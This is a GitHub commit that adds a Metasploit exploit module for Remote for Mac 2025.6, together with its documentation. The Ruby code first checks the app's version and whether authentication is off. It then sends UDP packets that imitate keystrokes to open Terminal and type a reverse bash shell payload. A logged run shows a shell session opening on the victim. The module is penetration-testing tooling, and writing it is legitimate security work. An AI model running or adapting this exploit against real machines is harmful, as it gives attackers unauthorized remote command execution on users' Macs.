Skip to content

Commit c5e5cb8

Browse files
authored
Land #20266, adds UDP keyboard exploit module for Remote for Mac 2025.6
Adds UDP Keyboard RCE for Remote for Mac 2025.6
2 parents 7549339 + b177507 commit c5e5cb8

File tree

2 files changed

+175
-0
lines changed

2 files changed

+175
-0
lines changed
Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
## Vulnerable Application
2+
3+
The Remote For Mac app is a remote control software that allows you to turn your iPhone or iPad into a wireless remote controller for Mac.
4+
The versions up to 2025.7 are vulnerable to unauthenticated UDP control.
5+
This allows an attacker to send a sequence of UDP packets to the target and simulate keyboard input,
6+
leaving an option for remote code execution.
7+
The app can be downloaded from [here](https://rs.ltd/).
8+
9+
10+
## Verification Steps
11+
12+
1. Install the application
13+
1. Start msfconsole
14+
1. Do: `use exploit/osx/misc/remote_for_mac_udp_rce`
15+
1. Do: `set RPORT [HTTP port of Remote For Mac]`
16+
1. Do: `set RHOST [target IP address]`
17+
1. Do: `set LHOST [attacker IP]`
18+
1. Do: `set LPORT [attacker port]`
19+
1. Do: `run`
20+
21+
## Options
22+
23+
### RPORT
24+
25+
The Remote For Mac spawn HTTPS server on semi-random port.
26+
The HTTP server provides information about running version and whether the authentication is enabled.
27+
The same port is also used for UDP protocol - this time, the port translated received packets into keyboard strokes.
28+
29+
## Scenarios
30+
31+
```
32+
msf6 exploit(osx/misc/remote_for_mac_udp_rce) > run verbose=true
33+
[*] Started reverse TCP handler on 192.168.168.217:4444
34+
[*] Simulating system keyboard input to open Terminal...
35+
[*] Initial sequence finished, waiting for terminal to be spawned..
36+
[*] Sending malicious payload to be executed...
37+
[+] Payload sent. Awaiting session...
38+
[*] Command shell session 3 opened (192.168.168.217:4444 -> 192.168.168.175:49197) at 2025-08-28 08:52:44 +0200
39+
40+
id
41+
uid=501(ms) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae)
42+
43+
```
Lines changed: 132 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,132 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
include Msf::Exploit::Remote::Udp
11+
prepend Msf::Exploit::Remote::AutoCheck
12+
13+
def initialize(info = {})
14+
super(
15+
update_info(
16+
info,
17+
'Name' => 'Remote for Mac 2025.6 Unauthenticated UDP Keyboard RCE',
18+
'Description' => %q{
19+
This module exploits an unauthenticated remote code execution vulnerability in Remote for Mac 2025.6.
20+
When the "Allow unknown devices" setting is enabled, it is possible to simulate keyboard input via UDP packets
21+
without authentication. By sending a sequence of key presses, an attacker can open the Terminal and execute
22+
arbitrary shell commands, achieving code execution as the current user.
23+
},
24+
'Author' => ['Chokri Hammedi'],
25+
'License' => MSF_LICENSE,
26+
'References' => [
27+
['PACKETSTORM', '196351']
28+
],
29+
'Platform' => 'unix',
30+
'Arch' => ARCH_CMD,
31+
'Targets' => [
32+
[
33+
'Unix Shell', {
34+
'Platform' => 'unix',
35+
'Arch' => ARCH_CMD
36+
}
37+
]
38+
],
39+
'DefaultTarget' => 0,
40+
'DefaultOptions' => {
41+
'SSL' => true
42+
},
43+
'DefaultPayload' => 'cmd/unix/reverse_bash',
44+
'DisclosureDate' => '2025-05-27',
45+
'Notes' => {
46+
'Stability' => [CRASH_SAFE],
47+
'Reliability' => [REPEATABLE_SESSION],
48+
'SideEffects' => [IOC_IN_LOGS, SCREEN_EFFECTS]
49+
}
50+
)
51+
)
52+
end
53+
54+
def check
55+
res = send_request_cgi({
56+
'method' => 'GET',
57+
'uri' => normalize_uri(target_uri.path, 'api', 'getVersion')
58+
})
59+
60+
return CheckCode::Safe('Application might not be Remote For Mac') unless res&.code == 200
61+
62+
json_body = res.get_json_document
63+
auth_enabled = json_body.fetch('requires.auth', nil)
64+
65+
return CheckCode::Detected('Remote For Mac detected, but authentication enabled') unless auth_enabled.to_s == 'false'
66+
67+
version = json_body.fetch('version').to_s
68+
69+
return CheckCode::Unknown('Could not determine target version') if version.empty?
70+
71+
target_version = Rex::Version.new(version)
72+
vulnerable_version = Rex::Version.new('2025.7')
73+
74+
return CheckCode::Appears("Detected vulnerable version #{version} with authentication disabled") if target_version <= vulnerable_version
75+
76+
CheckCode::Safe("Target version #{version} is not vulnerable")
77+
end
78+
79+
def exploit
80+
initial_packets_hex = [
81+
'07000200370001',
82+
'07000200370001',
83+
'060003002000',
84+
'07000200370000',
85+
'07000200370000'
86+
]
87+
88+
final_packets_hex = [
89+
'07000200240001',
90+
'07000200240000'
91+
]
92+
93+
udp_sock = connect_udp
94+
95+
print_status('Simulating system keyboard input to open Terminal...')
96+
initial_packets_hex.each do |hexpkt|
97+
udp_sock.put([hexpkt].pack('H*'))
98+
select(nil, nil, nil, 0.05)
99+
end
100+
101+
prefix = [0x06, 0x00, 0x03, 0x00].pack('C*')
102+
'terminal'.each_char do |ch|
103+
pkt = prefix + ch.encode('utf-16le').force_encoding('ASCII-8BIT')
104+
udp_sock.put(pkt)
105+
select(nil, nil, nil, 0.1)
106+
end
107+
108+
final_packets_hex.each do |hexpkt|
109+
udp_sock.put([hexpkt].pack('H*'))
110+
end
111+
112+
print_status('Initial sequence finished, waiting for terminal to be spawned..')
113+
114+
sleep(2)
115+
116+
shell_cmd = payload.encoded
117+
print_status('Sending malicious payload to be executed...')
118+
119+
shell_cmd.each_char do |ch|
120+
pkt = prefix + ch.encode('utf-16le').force_encoding('ASCII-8BIT')
121+
udp_sock.put(pkt)
122+
select(nil, nil, nil, 0.1)
123+
end
124+
125+
final_packets_hex.each do |hexpkt|
126+
udp_sock.put([hexpkt].pack('H*'))
127+
end
128+
129+
print_good('Payload sent. Awaiting session...')
130+
disconnect_udp(udp_sock)
131+
end
132+
end

0 commit comments

Comments
 (0)